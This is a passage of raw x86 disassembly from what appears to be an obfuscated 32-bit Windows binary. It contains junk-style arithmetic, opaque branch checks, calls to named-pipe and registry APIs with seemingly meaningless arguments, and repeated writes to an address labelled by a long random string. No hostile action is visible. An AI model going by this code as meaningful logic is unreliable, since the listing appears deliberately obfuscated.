sub ecx, dword [ebp - 0x3c]
and eax, ecx
or edx, eax
je 0x41f832
mov edx, dword [ebp - 0xc]
cmp edx, dword [ebp - 0x38]
jne 0x41f832
mov eax, dword [0x51a8cc]
cmp eax, dword [ebp - 0x4c]
jne 0x41f832
mov ecx, dword [ebp - 0x24]
cmp ecx, dword [ebp - 0x30]
jne 0x41f832
mov edx, dword [0x51a878]
cmp edx, dword [ebp - 0x2c]
jge 0x41f7d4
mov dword [ebp - 0x620], 1
jmp 0x41f7de
mov dword [ebp - 0x620], 0
mov eax, dword [ebp - 4]
or eax, dword [ebp - 0x620]
je 0x41f832
mov ecx, dword [0x51a8cc]
cmp ecx, dword [ebp - 0x1c]
jne 0x41f832
mov edx, dword [0x51a85c]
cmp edx, dword [ebp - 0x58]
jne 0x41f832
mov eax, dword [ebp - 0x40]
cmp eax, dword [ebp - 0x1c]
jne 0x41f832
push 0x18481
push 0x5676
push 0x17e0c
push 0x136fe
push 0x1815f
call dword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
add esp, 0x14
mov ecx, dword [ebp - 0x10]
add ecx, 1
mov dword [ebp - 0x10], ecx
push 0xb7e9
push 0x1148
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeW]
add esp, 8
mov edx, dword [0x51a8cc]
sub edx, 1
mov dword [0x51a8cc], edx
mov eax, dword [ebp + 0x1c]
add eax, 0x3ba3
and eax, 0x8fe0
xor eax, 0x75756a43
mov ecx, 0xea3f
sub ecx, dword [ebp + 0xc]
xor ecx, 0x44d7
and ecx, 0xa60b
xor ecx, 0x3ec
mov dword [ecx + str.ATUYSaBjYtYjMDfZANYHerxTKDTOLluHmNXkkWucwTGTMSbsvyVLoVvewLgApylfzoGVfoAWWIenhpqIgtnIuPcPpKTAudgZCihWSinqDLWFSpyxkFcbjriyfhoEEKxQeTRrMnYkfycKtgoNEFUuNZZsNFvXyPgCFWoRsvmSUwOmwxduqsQSwIABoAooKIgUcFuvvnxlKVqaasCHkVHhQbloisNRRRqodGsimraUZdLldIDGilWrNdNindrznNAHXShmMyJByTSLpxXJTJqtdbWOHBfWqfMRpMeDSEvssbRVKeEfhXsojHGdfVXtUCNPUppIkvIQJItGUuaSuLLvUOPCEpVThSBzTGfsgnLMfVTuZzWAMrFhWXxbyNauMafqxSzhrkUvFmwAhSPwkRczzamukmSZVkIHkjSvHNEWbFjnxchHMBfUQjMQhPzXqdoGWrKeeTsMEursJptiIPaddxSXFuxBvBwAYPxkVMoXsrWRIdAxihfaUjLYHpJrSYLqHIrdouJhoUvVPHROTSbXIBChUmNFCSHSFwjCfxBQBdNkDcaWQDyVWpTPyMbuFkaaVqiLoOotZgHJOWsGGvhtwUyGTLmEhyAwNADMWQkWNcgaQIaexVxWHnBYrsQtkQEpUsZmSkmTrfLpnOJUGdjsJJUcBROgiQBStQIoRLsuxQpLtmRAotCOsucLDjblagHOYEczMzZqghCkyBKTwhcafgUjHcwhWAdHyJQzxduAndzwpDIUGnCqSIHnpSjNWeulhcueOEcFvahrCWwiNsHkRCFBwQOJfZpqbCjbhVeAuSrguvGuzYeiubositqFkWvaqXmSxEemfVtURENvOaRwKFrfIVQCXpUbibJpswZkFMDzTsOBmAtAzpfkDdjTSiZwWHUqOZnivhyJxvQjCNJSxlCeLwTnOpJTKkmlVXuStfWGZklBNavixUXntkXcirZonwRtVqylQbamOlcvFzKxONqoYEkwhxqwGaIOpxiwDezOOgGAPnGDvoBqNrBcqAmFhlQkcGnSvQmiweChhVMJqWvoCnnLmDbvgHXktLNNABuWFeSDlJCRwcBPPXHcmYQYKbDNvGIRmKkLNSwPtDvleVpZuhHYfDkjPrykXmivZsqGISdGKkHHnLOPolkrfxTEBrjvSRnOARKLWHCTsIIyOAyEAjhajpqBacOiCojOFRZAIJwiePTlQGftzSDnuBunrJVNGGyDxWaILtRSwBGMialoRHUDYKOPGmsQlyFiWMRxANrZVqCkLoNhjKTrBaBkKEWzCVbbJvzlVQUSUhJgLqZqjEoMARNOzsxunCcdpcStfyTYZAKeeXoqyYPikvaEYadUWrATLbxuSgZMUpHhtXYsJwqdSWaVuIUINuCXSfnlcTFJvVSoDzpJRNMldYVQQtDPYOVYDwBGsbjQebcsKmRZfqRcwNhZboIClPtEubVYUSjwHhwRuHujwqqiXmsAHDwNSBYrywtuTsHGVqVSlJwrogAwdqrkbgDYDdZnjJNFlysMIXtZHEYolVtSYApgISRoAyCnkieSGqFSIXKxrKDFOdOcpliNxqpNkbDqAgBlqOiQDTfjzrAihYAqkvaUbdZUNyEKsUNxneTxsnMZEPLofLptGwIKWRTFUvvoYcYikaKwddhphMDoHFSRHaNrAwEvfzPGkXIcJqmoUILphgkWHavmFxqyQPzSZNTvaxZNcmSgxorhwjumjnyyFhShQEYjDinjhFSMvLjhxfhNXSAIvJpFrjiVoBrCwVspflQNDXkkfKVyAuofrffyQLTDNSpVKUDcJQzeTEbdVkwzdWuvxClQBtgqeaTKxmvyNWxnqyQYjXyeZCoCruhmtFAppoTlEeEZwfkakzKXmqCSwJVYymlGpiWVlDUWJxjtfCoFUfaYMcDWpmgUBoEEOxMYhiVqQppInZAibLCSLXwmkmaJSjkziaUibwsVxlsuaPOBdDABodmPqohSaKJSRWuQiFaNreGiVgRFyfHlkxvpDCGbEffMsJBlx], eax
mov dword [ebp - 0xa4], 0
jmp 0x41f8a1
mov edx, dword [ebp - 0xa4]
add edx, 1
mov dword [ebp - 0xa4], edx
mov eax, dword [ebp - 0x30]
sub eax, 0xc75b
cmp dword [ebp - 0xa4], eax
jge 0x41f903
mov ecx, dword [0x51a8cc]
cmp ecx, dword [ebp - 0x54]
jge 0x41f901
mov edx, dword [ebp - 0x1c]
cmp edx, dword [ebp - 0x48]
jne 0x41f901
mov eax, dword [0x51a87c]
cmp eax, dword [0x51a884]
jne 0x41f901
push 0x1622
push 0x13472
push 0xbcf2
push 0x1753b
push 0x10df0
push 0x4c60
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyA]
add esp, 0x18
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
jmp 0x41f892
mov edx, dword [ebp + 0x24]
xor edx, 0xbfbb
xor edx, 0x6459db6b
mov eax, dword [ebp + 0x1c]
xor eax, 0x7fbb
xor eax, 0x6938
mov dword [eax + str.ATUYSaBjYtYjMDfZANYHerxTKDTOLluHmNXkkWucwTGTMSbsvyVLoVvewLgApylfzoGVfoAWWIenhpqIgtnIuPcPpKTAudgZCihWSinqDLWFSpyxkFcbjriyfhoEEKxQeTRrMnYkfycKtgoNEFUuNZZsNFvXyPgCFWoRsvmSUwOmwxduqsQSwIABoAooKIgUcFuvvnxlKVqaasCHkVHhQbloisNRRRqodGsimraUZdLldIDGilWrNdNindrznNAHXShmMyJByTSLpxXJTJqtdbWOHBfWqfMRpMeDSEvssbRVKeEfhXsojHGdfVXtUCNPUppIkvIQJItGUuaSuLLvUOPCEpVThSBzTGfsgnLMfVTuZzWAMrFhWXxbyNauMafqxSzhrkUvFmwAhSPwkRczzamukmSZVkIHkjSvHNEWbFjnxchHMBfUQjMQhPzXqdoGWrKeeTsMEursJptiIPaddxSXFuxBvBwAYPxkVMoXsrWRIdAxihfaUjLYHpJrSYLqHIrdouJhoUvVPHROTSbXIBChUmNFCSHSFwjCfxBQBdNkDcaWQDyVWpTPyMbuFkaaVqiLoOotZgHJOWsGGvhtwUyGTLmEhyAwNADMWQkWNcgaQIaexVxWHnBYrsQtkQEpUsZmSkmTrfLpnOJUGdjsJJUcBROgiQBStQIoRLsuxQpLtmRAotCOsucLDjblagHOYEczMzZqghCkyBKTwhcafgUjHcwhWAdHyJQzxduAndzwpDIUGnCqSIHnpSjNWeulhcueOEcFvahrCWwiNsHkRCFBwQOJfZpqbCjbhVeAuSrguvGuzYeiubositqFkWvaqXmSxEemfVtURENvOaRwKFrfIVQCXpUbibJpswZkFMDzTsOBmAtAzpfkDdjTSiZwWHUqOZnivhyJxvQjCNJSxlCeLwTnOpJTKkmlVXuStfWGZklBNavixUXntkXcirZonwRtVqylQbamOlcvFzKxONqoYEkwhxqwGaIOpxiwDezOOgGAPnGDvoBqNrBcqAmFhlQkcGnSvQmiweChhVMJqWvoCnnLmDbvgHXktLNNABuWFeSDlJCRwcBPPXHcmYQYKbDNvGIRmKkLNSwPtDvleVpZuhHYfDkjPrykXmivZsqGISdGKkHHnLOPolkrfxTEBrjvSRnOARKLWHCTsIIyOAyEAjhajpqBacOiCojOFRZAIJwiePTlQGftzSDnuBunrJVNGGyDxWaILtRSwBGMialoRHUDYKOPGmsQlyFiWMRxANrZVqCkLoNhjKTrBaBkKEWzCVbbJvzlVQUSUhJgLqZqjEoMARNOzsxunCcdpcStfyTYZAKeeXoqyYPikvaEYadUWrATLbxuSgZMUpHhtXYsJwqdSWaVuIUINuCXSfnlcTFJvVSoDzpJRNMldYVQQtDPYOVYDwBGsbjQebcsKmRZfqRcwNhZboIClPtEubVYUSjwHhwRuHujwqqiXmsAHDwNSBYrywtuTsHGVqVSlJwrogAwdqrkbgDYDdZnjJNFlysMIXtZHEYolVtSYApgISRoAyCnkieSGqFSIXKxrKDFOdOcpliNxqpNkbDqAgBlqOiQDTfjzrAihYAqkvaUbdZUNyEKsUNxneTxsnMZEPLofLptGwIKWRTFUvvoYcYikaKwddhphMDoHFSRHaNrAwEvfzPGkXIcJqmoUILphgkWHavmFxqyQPzSZNTvaxZNcmSgxorhwjumjnyyFhShQEYjDinjhFSMvLjhxfhNXSAIvJpFrjiVoBrCwVspflQNDXkkfKVyAuofrffyQLTDNSpVKUDcJQzeTEbdVkwzdWuvxClQBtgqeaTKxmvyNWxnqyQYjXyeZCoCruhmtFAppoTlEeEZwfkakzKXmqCSwJVYymlGpiWVlDUWJxjtfCoFUfaYMcDWpmgUBoEEOxMYhiVqQppInZAibLCSLXwmkmaJSjkziaUibwsVxlsuaPOBdDABodmPqohSaKJSRWuQiFaNreGiVgRFyfHlkxvpDCGbEffMsJBlx], edx
mov dword [ebp - 0xa8], 0
jmp 0x41f940
mov ecx, dword [ebp - 0xa8]
add ecx, 1
mov dword [ebp - 0xa8], ecx
mov edx, dword [ebp - 0x50]
sub edx, 0x1750f
cmp dword [ebp - 0xa8], edx
jge 0x41f95c
mov eax, dword [ebp - 0x28]
add eax, 1
mov dword [ebp - 0x28], eax
jmp 0x41f931
mov ecx, dword [ebp - 8]
sub ecx, 1
mov dword [ebp - 8], ecx
mov edx, dword [ebp + 0x10]
or edx, 0xfffff438
add edx, 0xcdaf
xor edx, 0x616e85f8
mov eax, 0xdd2e
sub eax, dword [ebp + 0x24]
or eax, 0x5910
or eax, 0x124c
xor eax, 0xde1e
mov dword [eax + str.ATUYSaBjYtYjMDfZANYHerxTKDTOLluHmNXkkWucwTGTMSbsvyVLoVvewLgApylfzoGVfoAWWIenhpqIgtnIuPcPpKTAudgZCihWSinqDLWFSpyxkFcbjriyfhoEEKxQeTRrMnYkfycKtgoNEFUuNZZsNFvXyPgCFWoRsvmSUwOmwxduqsQSwIABoAooKIgUcFuvvnxlKVqaasCHkVHhQbloisNRRRqodGsimraUZdLldIDGilWrNdNindrznNAHXShmMyJByTSLpxXJTJqtdbWOHBfWqfMRpMeDSEvssbRVKeEfhXsojHGdfVXtUCNPUppIkvIQJItGUuaSuLLvUOPCEpVThSBzTGfsgnLMfVTuZzWAMrFhWXxbyNauMafqxSzhrkUvFmwAhSPwkRczzamukmSZVkIHkjSvHNEWbFjnxchHMBfUQjMQhPzXqdoGWrKeeTsMEursJptiIPaddxSXFuxBvBwAYPxkVMoXsrWRIdAxihfaUjLYHpJrSYLqHIrdouJhoUvVPHROTSbXIBChUmNFCSHSFwjCfxBQBdNkDcaWQDyVWpTPyMbuFkaaVqiLoOotZgHJOWsGGvhtwUyGTLmEhyAwNADMWQkWNcgaQIaexVxWHnBYrsQtkQEpUsZmSkmTrfLpnOJUGdjsJJUcBROgiQBStQIoRLsuxQpLtmRAotCOsucLDjblagHOYEczMzZqghCkyBKTwhcafgUjHcwhWAdHyJQzxduAndzwpDIUGnCqSIHnpSjNWeulhcueOEcFvahrCWwiNsHkRCFBwQOJfZpqbCjbhVeAuSrguvGuzYeiubositqFkWvaqXmSxEemfVtURENvOaRwKFrfIVQCXpUbibJpswZkFMDzTsOBmAtAzpfkDdjTSiZwWHUqOZnivhyJxvQjCNJSxlCeLwTnOpJTKkmlVXuStfWGZklBNavixUXntkXcirZonwRtVqylQbamOlcvFzKxONqoYEkwhxqwGaIOpxiwDezOOgGAPnGDvoBqNrBcqAmFhlQkcGnSvQmiweChhVMJqWvoCnnLmDbvgHXktLNNABuWFeSDlJCRwcBPPXHcmYQYKbDNvGIRmKkLNSwPtDvleVpZuhHYfDkjPrykXmivZsqGISdGKkHHnLOPolkrfxTEBrjvSRnOARKLWHCTsIIyOAyEAjhajpqBacOiCojOFRZAIJwiePTlQGftzSDnuBunrJVNGGyDxWaILtRSwBGMialoRHUDYKOPGmsQlyFiWMRxANrZVqCkLoNhjKTrBaBkKEWzCVbbJvzlVQUSUhJgLqZqjEoMARNOzsxunCcdpcStfyTYZAKeeXoqyYPikvaEYadUWrATLbxuSgZMUpHhtXYsJwqdSWaVuIUINuCXSfnlcTFJvVSoDzpJRNMldYVQQtDPYOVYDwBGsbjQebcsKmRZfqRcwNhZboIClPtEubVYUSjwHhwRuHujwqqiXmsAHDwNSBYrywtuTsHGVqVSlJwrogAwdqrkbgDYDdZnjJNFlysMIXtZHEYolVtSYApgISRoAyCnkieSGqFSIXKxrKDFOdOcpliNxqpNkbDqAgBlqOiQDTfjzrAihYAqkvaUbdZUNyEKsUNxneTxsnMZEPLofLptGwIKWRTFUvvoYcYikaKwddhphMDoHFSRHaNrAwEvfzPGkXIcJqmoUILphgkWHavmFxqyQPzSZNTvaxZNcmSgxorhwjumjnyyFhShQEYjDinjhFSMvLjhxfhNXSAIvJpFrjiVoBrCwVspflQNDXkkfKVyAuofrffyQLTDNSpVKUDcJQzeTEbdVkwzdWuvxClQBtgqeaTKxmvyNWxnqyQYjXyeZCoCruhmtFAppoTlEeEZwfkakzKXmqCSwJVYymlGpiWVlDUWJxjtfCoFUfaYMcDWpmgUBoEEOxMYhiVqQppInZAibLCSLXwmkmaJSjkziaUibwsVxlsuaPOBdDABodmPqohSaKJSRWuQiFaNreGiVgRFyfHlkxvpDCGbEffMsJBlx], edx
mov ecx, dword [0x51a85c]
add ecx, 1
mov dword [0x51a85c], ecx
mov edx, dword [0x51a87c]
add edx, 0x2865
push edx
mov eax, dword [0x51a8bc]
add eax, 0x11b0b
push eax
mov ecx, dword [0x51a870]
sub ecx, 0x42f3
push ecx
mov edx, dword [ebp - 0x50]
sub edx, 0x7ff3
push edx
mov eax, dword [ebp - 0x54]
sub eax, 0x7111
push eax
mov ecx, dword [ebp - 8]
sub ecx, 0x85e9
push ecx
mov edx, dword [ebp - 0x50]
sub edx, 0xd322
push edx
mov eax, dword [0x51a86c]
sub eax, 0xd873
push eax
call fcn.00416f20
add esp, 0x20
mov ecx, dword [ebp + 0x14]
and ecx, 0x820a
or ecx, 0xcfae
xor ecx, 0x45439cdd
mov edx, dword [ebp + 0x14]
or edx, 0x24
xor edx, 0x918f
mov dword [edx + str.ATUYSaBjYtYjMDfZANYHerxTKDTOLluHmNXkkWucwTGTMSbsvyVLoVvewLgApylfzoGVfoAWWIenhpqIgtnIuPcPpKTAudgZCihWSinqDLWFSpyxkFcbjriyfhoEEKxQeTRrMnYkfycKtgoNEFUuNZZsNFvXyPgCFWoRsvmSUwOmwxduqsQSwIABoAooKIgUcFuvvnxlKVqaasCHkVHhQbloisNRRRqodGsimraUZdLldIDGilWrNdNindrznNAHXShmMyJByTSLpxXJTJqtdbWOHBfWqfMRpMeDSEvssbRVKeEfhXsojHGdfVXtUCNPUppIkvIQJItGUuaSuLLvUOPCEpVThSBzTGfsgnLMfVTuZzWAMrFhWXxbyNauMafqxSzhrkUvFmwAhSPwkRczzamukmSZVkIHkjSvHNEWbFjnxchHMBfUQjMQhPzXqdoGWrKeeTsMEursJptiIPaddxSXFuxBvBwAYPxkVMoXsrWRIdAxihfaUjLYHpJrSYLqHIrdouJhoUvVPHROTSbXIBChUmNFCSHSFwjCfxBQBdNkDcaWQDyVWpTPyMbuFkaaVqiLoOotZgHJOWsGGvhtwUyGTLmEhyAwNADMWQkWNcgaQIaexVxWHnBYrsQtkQEpUsZmSkmTrfLpnOJUGdjsJJUcBROgiQBStQIoRLsuxQpLtmRAotCOsucLDjblagHOYEczMzZqghCkyBKTwhcafgUjHcwhWAdHyJQzxduAndzwpDIUGnCqSIHnpSjNWeulhcueOEcFvahrCWwiNsHkRCFBwQOJfZpqbCjbhVeAuSrguvGuzYeiubositqFkWvaqXmSxEemfVtURENvOaRwKFrfIVQCXpUbibJpswZkFMDzTsOBmAtAzpfkDdjTSiZwWHUqOZnivhyJxvQjCNJSxlCeLwTnOpJTKkmlVXuStfWGZklBNavixUXntkXcirZonwRtVqylQbamOlcvFzKxONqoYEkwhxqwGaIOpxiwDezOOgGAPnGDvoBqNrBcqAmFhlQkcGnSvQmiweChhVMJqWvoCnnLmDbvgHXktLNNABuWFeSDlJCRwcBPPXHcmYQYKbDNvGIRmKkLNSwPtDvleVpZuhHYfDkjPrykXmivZsqGISdGKkHHnLOPolkrfxTEBrjvSRnOARKLWHCTsIIyOAyEAjhajpqBacOiCojOFRZAIJwiePTlQGftzSDnuBunrJVNGGyDxWaILtRSwBGMialoRHUDYKOPGmsQlyFiWMRxANrZVqCkLoNhjKTrBaBkKEWzCVbbJvzlVQUSUhJgLqZqjEoMARNOzsxunCcdpcStfyTYZAKeeXoqyYPikvaEYadUWrATLbxuSgZMUpHhtXYsJwqdSWaVuIUINuCXSfnlcTFJvVSoDzpJRNMldYVQQtDPYOVYDwBGsbjQebcsKmRZfqRcwNhZboIClPtEubVYUSjwHhwRuHujwqqiXmsAHDwNSBYrywtuTsHGVqVSlJwrogAwdqrkbgDYDdZnjJNFlysMIXtZHEYolVtSYApgISRoAyCnkieSGqFSIXKxrKDFOdOcpliNxqpNkbDqAgBlqOiQDTfjzrAihYAqkvaUbdZUNyEKsUNxneTxsnMZEPLofLptGwIKWRTFUvvoYcYikaKwddhphMDoHFSRHaNrAwEvfzPGkXIcJqmoUILphgkWHavmFxqyQPzSZNTvaxZNcmSgxorhwjumjnyyFhShQEYjDinjhFSMvLjhxfhNXSAIvJpFrjiVoBrCwVspflQNDXkkfKVyAuofrffyQLTDNSpVKUDcJQzeTEbdVkwzdWuvxClQBtgqeaTKxmvyNWxnqyQYjXyeZCoCruhmtFAppoTlEeEZwfkakzKXmqCSwJVYymlGpiWVlDUWJxjtfCoFUfaYMcDWpmgUBoEEOxMYhiVqQppInZAibLCSLXwmkmaJSjkziaUibwsVxlsuaPOBdDABodmPqohSaKJSRWuQiFaNreGiVgRFyfHlkxvpDCGbEffMsJBlx], ecx
mov eax, dword [0x51a86c]
add eax, 1
mov dword [0x51a86c], eax
mov ecx, dword [ebp - 0x3c]
add ecx, 0x3e09
push ecx
mov edx, dword [ebp - 0x3c]
add edx, 0x95e5
push edx
call fcn.00411d90
add esp, 8
mov eax, dword [ebp + 0x18]
and eax, 0x81e1
xor eax, 0x4474eacc
mov ecx, 0xe4b7
sub ecx, dword [ebp + 0x18]
or ecx, 0xa162
xor ecx, 0xaf4f
mov dword [ecx + str.ATUYSaBjYtYjMDfZANYHerxTKDTOLluHmNXkkWucwTGTMSbsvyVLoVvewLgApylfzoGVfoAWWIenhpqIgtnIuPcPpKTAudgZCihWSinqDLWFSpyxkFcbjriyfhoEEKxQeTRrMnYkfycKtgoNEFUuNZZsNFvXyPgCFWoRsvmSUwOmwxduqsQSwIABoAooKIgUcFuvvnxlKVqaasCHkVHhQbloisNRRRqodGsimraUZdLldIDGilWrNdNindrznNAHXShmMyJByTSLpxXJTJqtdbWOHBfWqfMRpMeDSEvssbRVKeEfhXsojHGdfVXtUCNPUppIkvIQJItGUuaSuLLvUOPCEpVThSBzTGfsgnLMfVTuZzWAMrFhWXxbyNauMafqxSzhrkUvFmwAhSPwkRczzamukmSZVkIHkjSvHNEWbFjnxchHMBfUQjMQhPzXqdoGWrKeeTsMEursJptiIPaddxSXFuxBvBwAYPxkVMoXsrWRIdAxihfaUjLYHpJrSYLqHIrdouJhoUvVPHROTSbXIBChUmNFCSHSFwjCfxBQBdNkDcaWQDyVWpTPyMbuFkaaVqiLoOotZgHJOWsGGvhtwUyGTLmEhyAwNADMWQkWNcgaQIaexVxWHnBYrsQtkQEpUsZmSkmTrfLpnOJUGdjsJJUcBROgiQBStQIoRLsuxQpLtmRAotCOsucLDjblagHOYEczMzZqghCkyBKTwhcafgUjHcwhWAdHyJQzxduAndzwpDIUGnCqSIHnpSjNWeulhcueOEcFvahrCWwiNsHkRCFBwQOJfZpqbCjbhVeAuSrguvGuzYeiubositqFkWvaqXmSxEemfVtURENvOaRwKFrfIVQCXpUbibJpswZkFMDzTsOBmAtAzpfkDdjTSiZwWHUqOZnivhyJxvQjCNJSxlCeLwTnOpJTKkmlVXuStfWGZklBNavixUXntkXcirZonwRtVqylQbamOlcvFzKxONqoYEkwhxqwGaIOpxiwDezOOgGAPnGDvoBqNrBcqAmFhlQkcGnSvQmiweChhVMJqWvoCnnLmDbvgHXktLNNABuWFeSDlJCRwcBPPXHcmYQYKbDNvGIRmKkLNSwPtDvleVpZuhHYfDkjPrykXmivZsqGISdGKkHHnLOPolkrfxTEBrjvSRnOARKLWHCTsIIyOAyEAjhajpqBacOiCojOFRZAIJwiePTlQGftzSDnuBunrJVNGGyDxWaILtRSwBGMialoRHUDYKOPGmsQlyFiWMRxANrZVqCkLoNhjKTrBaBkKEWzCVbbJvzlVQUSUhJgLqZqjEoMARNOzsxunCcdpcStfyTYZAKeeXoqyYPikvaEYadUWrATLbxuSgZMUpHhtXYsJwqdSWaVuIUINuCXSfnlcTFJvVSoDzpJRNMldYVQQtDPYOVYDwBGsbjQebcsKmRZfqRcwNhZboIClPtEubVYUSjwHhwRuHujwqqiXmsAHDwNSBYrywtuTsHGVqVSlJwrogAwdqrkbgDYDdZnjJNFlysMIXtZHEYolVtSYApgISRoAyCnkieSGqFSIXKxrKDFOdOcpliNxqpNkbDqAgBlqOiQDTfjzrAihYAqkvaUbdZUNyEKsUNxneTxsnMZEPLofLptGwIKWRTFUvvoYcYikaKwddhphMDoHFSRHaNrAwEvfzPGkXIcJqmoUILphgkWHavmFxqyQPzSZNTvaxZNcmSgxorhwjumjnyyFhShQEYjDinjhFSMvLjhxfhNXSAIvJpFrjiVoBrCwVspflQNDXkkfKVyAuofrffyQLTDNSpVKUDcJQzeTEbdVkwzdWuvxClQBtgqeaTKxmvyNWxnqyQYjXyeZCoCruhmtFAppoTlEeEZwfkakzKXmqCSwJVYymlGpiWVlDUWJxjtfCoFUfaYMcDWpmgUBoEEOxMYhiVqQppInZAibLCSLXwmkmaJSjkziaUibwsVxlsuaPOBdDABodmPqohSaKJSRWuQiFaNreGiVgRFyfHlkxvpDCGbEffMsJBlx], eax
mov dword [ebp - 0xac], 0
jmp 0x41fa97
mov edx, dword [ebp - 0xac]
add edx, 1
mov dword [ebp - 0xac], edx
mov eax, dword [ebp - 0x30]
sub eax, 0xc75b
cmp dword [ebp - 0xac], eax
jge 0x41fb66
mov ecx, dword [0x51a860]
cmp ecx, dword [ebp - 0x18]
jge 0x41fac2
mov dword [ebp - 0x624], 1
jmp 0x41facc
mov dword [ebp - 0x624], 0
mov edx, dword [ebp - 0x38]
cmp edx, dword [ebp - 0x14]
jge 0x41fae0
mov dword [ebp - 0x628], 1
jmp 0x41faea
mov dword [ebp - 0x628], 0
mov eax, dword [ebp - 0x624]
and eax, dword [ebp - 0x628]
je 0x41fb61
mov ecx, dword [ebp - 0x2c]
cmp ecx, dword [0x51a878]
jge 0x41fb0f
mov dword [ebp - 0x62c], 1
jmp 0x41fb19
mov dword [ebp - 0x62c], 0
mov edx, dword [ebp - 0x34]
imul edx, dword [ebp - 4]
cmp edx, dword [0x51a880]
jge 0x41fb34
mov dword [ebp - 0x630], 1
jmp 0x41fb3e
mov dword [ebp - 0x630], 0
mov eax, dword [ebp - 0x54]
add eax, dword [0x51a860]
and eax, dword [ebp - 0x62c]
and eax, dword [ebp - 0x630]
xor eax, dword [ebp - 0x3c]
je 0x41fb61
mov ecx, dword [ebp - 0x58]
add ecx, 1
mov dword [ebp - 0x58], ecx
jmp 0x41fa88
mov dword [ebp - 0xb0], 0
jmp 0x41fb81
mov edx, dword [ebp - 0xb0]
add edx, 1
mov dword [ebp - 0xb0], edx
mov eax, dword [ebp - 0x28]
sub eax, 0x1214e
cmp dword [ebp - 0xb0], eax
jge 0x41fba2
mov ecx, dword [0x51a87c]
add ecx, 1
mov dword [0x51a87c], ecx
jmp 0x41fb72
mov edx, dword [0x51a880]
add edx, 0xb008
push edx
mov eax, dword [0x51a8b8]
sub eax, 0x438e
push eax
mov ecx, dword [0x51a884]
add ecx, 0x988
push ecx
mov edx, dword [ebp - 0x40]
add edx, 0x7335
push edx
mov eax, dword [0x51a8a8]
add eax, 0x421f
push eax
mov ecx, dword [ebp - 0x20]
sub ecx, 0xf8f1
push ecx
mov edx, dword [ebp - 0x40]
add edx, 0x2006
push edx
mov eax, dword [0x51a880]
add eax, 0x7857
push eax
call fcn.00416f20
add esp, 0x20
mov ecx, dword [ebp + 0x20]
xor ecx, 0x2355
xor ecx, 0x465a2f67
mov edx, dword [ebp + 0x24]
and edx, 0xe1b5
xor edx, 0x228
mov dword [edx + str.ATUYSaBjYtYjMDfZANYHerxTKDTOLluHmNXkkWucwTGTMSbsvyVLoVvewLgApylfzoGVfoAWWIenhpqIgtnIuPcPpKTAudgZCihWSinqDLWFSpyxkFcbjriyfhoEEKxQeTRrMnYkfycKtgoNEFUuNZZsNFvXyPgCFWoRsvmSUwOmwxduqsQSwIABoAooKIgUcFuvvnxlKVqaasCHkVHhQbloisNRRRqodGsimraUZdLldIDGilWrNdNindrznNAHXShmMyJByTSLpxXJTJqtdbWOHBfWqfMRpMeDSEvssbRVKeEfhXsojHGdfVXtUCNPUppIkvIQJItGUuaSuLLvUOPCEpVThSBzTGfsgnLMfVTuZzWAMrFhWXxbyNauMafqxSzhrkUvFmwAhSPwkRczzamukmSZVkIHkjSvHNEWbFjnxchHMBfUQjMQhPzXqdoGWrKeeTsMEursJptiIPaddxSXFuxBvBwAYPxkVMoXsrWRIdAxihfaUjLYHpJrSYLqHIrdouJhoUvVPHROTSbXIBChUmNFCSHSFwjCfxBQBdNkDcaWQDyVWpTPyMbuFkaaVqiLoOotZgHJOWsGGvhtwUyGTLmEhyAwNADMWQkWNcgaQIaexVxWHnBYrsQtkQEpUsZmSkmTrfLpnOJUGdjsJJUcBROgiQBStQIoRLsuxQpLtmRAotCOsucLDjblagHOYEczMzZqghCkyBKTwhcafgUjHcwhWAdHyJQzxduAndzwpDIUGnCqSIHnpSjNWeulhcueOEcFvahrCWwiNsHkRCFBwQOJfZpqbCjbhVeAuSrguvGuzYeiubositqFkWvaqXmSxEemfVtURENvOaRwKFrfIVQCXpUbibJpswZkFMDzTsOBmAtAzpfkDdjTSiZwWHUqOZnivhyJxvQjCNJSxlCeLwTnOpJTKkmlVXuStfWGZklBNavixUXntkXcirZonwRtVqylQbamOlcvFzKxONqoYEkwhxqwGaIOpxiwDezOOgGAPnGDvoBqNrBcqAmFhlQkcGnSvQmiweChhVMJqWvoCnnLmDbvgHXktLNNABuWFeSDlJCRwcBPPXHcmYQYKbDNvGIRmKkLNSwPtDvleVpZuhHYfDkjPrykXmivZsqGISdGKkHHnLOPolkrfxTEBrjvSRnOARKLWHCTsIIyOAyEAjhajpqBacOiCojOFRZAIJwiePTlQGftzSDnuBunrJVNGGyDxWaILtRSwBGMialoRHUDYKOPGmsQlyFiWMRxANrZVqCkLoNhjKTrBaBkKEWzCVbbJvzlVQUSUhJgLqZqjEoMARNOzsxunCcdpcStfyTYZAKeeXoqyYPikvaEYadUWrATLbxuSgZMUpHhtXYsJwqdSWaVuIUINuCXSfnlcTFJvVSoDzpJRNMldYVQQtDPYOVYDwBGsbjQebcsKmRZfqRcwNhZboIClPtEubVYUSjwHhwRuHujwqqiXmsAHDwNSBYrywtuTsHGVqVSlJwrogAwdqrkbgDYDdZnjJNFlysMIXtZHEYolVtSYApgISRoAyCnkieSGqFSIXKxrKDFOdOcpliNxqpNkbDqAgBlqOiQDTfjzrAihYAqkvaUbdZUNyEKsUNxneTxsnMZEPLofLptGwIKWRTFUvvoYcYikaKwddhphMDoHFSRHaNrAwEvfzPGkXIcJqmoUILphgkWHavmFxqyQPzSZNTvaxZNcmSgxorhwjumjnyyFhShQEYjDinjhFSMvLjhxfhNXSAIvJpFrjiVoBrCwVspflQNDXkkfKVyAuofrffyQLTDNSpVKUDcJQzeTEbdVkwzdWuvxClQBtgqeaTKxmvyNWxnqyQYjXyeZCoCruhmtFAppoTlEeEZwfkakzKXmqCSwJVYymlGpiWVlDUWJxjtfCoFUfaYMcDWpmgUBoEEOxMYhiVqQppInZAibLCSLXwmkmaJSjkziaUibwsVxlsuaPOBdDABodmPqohSaKJSRWuQiFaNreGiVgRFyfHlkxvpDCGbEffMsJBlx], ecx
mov eax, dword [ebp - 0x58]
sub eax, 1
mov dword [ebp - 0x58], eax
mov ecx, dword [ebp + 0x10]
or ecx, 0x7ea9
xor ecx, 0x8f4d
xor ecx, 0x517798f0
mov edx, dword [ebp + 0x18]
and edx, 0x1b53e
xor edx, 0x937a
